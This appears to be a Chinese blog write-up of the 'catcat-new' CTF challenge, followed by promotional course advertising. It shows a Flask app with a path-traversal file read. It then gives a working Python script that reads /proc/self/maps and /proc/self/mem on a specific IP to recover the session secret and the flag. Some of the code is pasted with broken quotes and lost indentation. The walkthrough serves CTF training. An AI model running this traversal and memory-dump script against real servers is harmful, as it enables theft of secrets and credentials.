【网络安全 CTF】catcat-new

# 渲染主页模板,传递猫名列表和 cat 函数给模板
return render_template("index.html", cats_list=cats_list, cat=cat)

详情页路由

@app.route(‘/info’, methods=[“GET”, ‘POST’])
def info():
# 获取请求参数
filename = “./details/” + request.args.get(‘file’, “”)
start = request.args.get(‘start’, “0”)
end = request.args.get(‘end’, “0”)
name = request.args.get(‘file’, “”)[:request.args.get(‘file’, “”).index(‘.’)]

# 渲染详情页模板,传递猫名、详情信息给模板
return render_template("detail.html", catname=name, info=cat(filename, start, end))

管理员权限路由

@app.route(‘/admin’, methods=[“GET”])
def admin_can_list_root():
# 检查是否具有管理员权限
if session.get(‘admin’) == 1:
return flag
else:
session[‘admin’] = 0
return “NoNoNo”

启动 Flask 应用

if name == ‘__main__’:
app.run(host=‘0.0.0.0’, debug=False, port=5637)


关键在于:



if session.get('admin') == 1:
    return flag

也就是说当session为admin时,即可得到flag


所以我们需要伪造session为admin


而session伪造的必要条件是获取SECRET\_KEY读取


读取/proc/self/maps获得当前应用运行的内存映射信息:


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/7d1068dd80f54cc29c6d0d4a77c54b18.png)


读取cat.py


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/6fb242b07d7a42c59b8c4c191df16daf.png)


格式化:



import os, sys, getopt

定义一个函数,用于读取指定文件的部分内容

def cat(filename, start=0, end=0) -> bytes:
data = b’’

try:
    start = int(start)
    end = int(end)

except:
    start = 0
    end = 0

# 检查文件是否存在并可读
if filename != "" and os.access(filename, os.R_OK):
    f = open(filename, "rb")

    if start >= 0:
        f.seek(start)
        if end >= start and end != 0:
            data = f.read(end - start)
    else:
        data = f.read()

    f.close()

else:
    data = ("File `%s` not exist or cannot be read" % filename).encode()

return data

if name == ‘__main__’:
# 解析命令行参数
opts, args = getopt.getopt(sys.argv[1:], ‘-h-f:-s:-e:’, [‘help’, ‘file=’, ‘start=’, ‘end=’])
fileName = “”
start = 0
end = 0

for opt_name, opt_value in opts:
    if opt_name == '-h' or opt_name == '--help':
        # 打印帮助信息
        print("[\*] Help")
        print("-f --file File name")
        print("-s --start Start position")
        print("-e --end End position")
        print("[\*] Example of reading /etc/passwd")
        print("python3 cat.py -f /etc/passwd")
        print("python3 cat.py --file /etc/passwd")
        print("python3 cat.py -f /etc/passwd -s 1")
        print("python3 cat.py -f /etc/passwd -e 5")
        print("python3 cat.py -f /etc/passwd -s 1 -e 5")
        exit()

    elif opt_name == '-f' or opt_name == '--file':
        # 获取文件名参数
        fileName = opt_value

    elif opt_name == '-s' or opt_name == '--start':
        # 获取起始位置参数
        start = opt_value

    elif opt_name == '-e' or opt_name == '--end':
        # 获取结束位置参数
        end = opt_value

if fileName != "":
    # 调用 cat 函数并打印结果
    print(cat(fileName, start, end))

else:
    print("No file to read")

其中



if start >= 0:
f.seek(start)
if end >= start and end != 0:
data = f.read(end-start)


用于读取start到end地址间的数据


我们已经读取了/proc/self/maps获得了应用运行的内存映射信息,接下来的思路就是:读取/proc/self/mem获得当前内存的详细信息,由于在app.py的info()方法从HTTP请求中接收了start和end参数,即可传参,从而读取任意文件中任意两个地址之间的数据,最后使用正则表达式匹配字符串`\w+{\w+}`直接获取flag


脚本如下:



import requests
import re

baseUrl = “http://61.147.171.105:64383/info?file=…/…/…/…/…”

if name == “__main__”:
url = baseUrl + “/proc/self/maps”
# 发送 HTTP 请求并获取响应文本,然后按换行符进行分割
memInfoList = requests.get(url).text.split(“\n”)
mem = “”
for i in memInfoList:
# 使用正则表达式匹配内存地址信息
memAddress = re.match(r"([a-z0-9]+)-([a-z0-9]+) rw", i)
if memAddress:
# 将匹配到的内存地址转换为十六进制数
start = int(memAddress.group(1), 16)
end = int(memAddress.group(2), 16)
# 构造新的 URL,用于获取特定内存片段的内容
infoUrl = baseUrl + “/proc/self/mem&start=” + str(start) + “&end=” + str(end)
# 发送 HTTP 请求并获取响应文本
mem = requests.get(infoUrl).text
# 如果响应文本中包含形如 “{xxx}” 的字符串,则打印出来
if re.findall(r"{[\w]+}“, mem):
print(re.findall(r”\w+{\w+}", mem))


结果如下:


![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/a4a3f278a1714517bf3c95cd3260901a.png)


得到flag



catctf{Catch_the_c4t_HaHa}


## 最后

**自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。**

**深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!**

**因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

![img](https://img-blog.csdnimg.cn/img_convert/cbca10b14c204f1a5b3e05d1baa6ee3a.png)

![img](https://img-blog.csdnimg.cn/img_convert/9a2e5df649b3a6fc20728b1525c72e27.png)

![img](https://img-blog.csdnimg.cn/img_convert/f1ba9fd0bf3a57045a4744f71ea06aed.png)

![img](https://img-blog.csdnimg.cn/img_convert/6f5ab3f3b670e0dacb9d5eecfcd82627.png)

![img](https://img-blog.csdnimg.cn/img_convert/154973296d3fa860ba8aa4dd47249450.png)

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

 

**既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!**

[**如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!**

  • 20
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值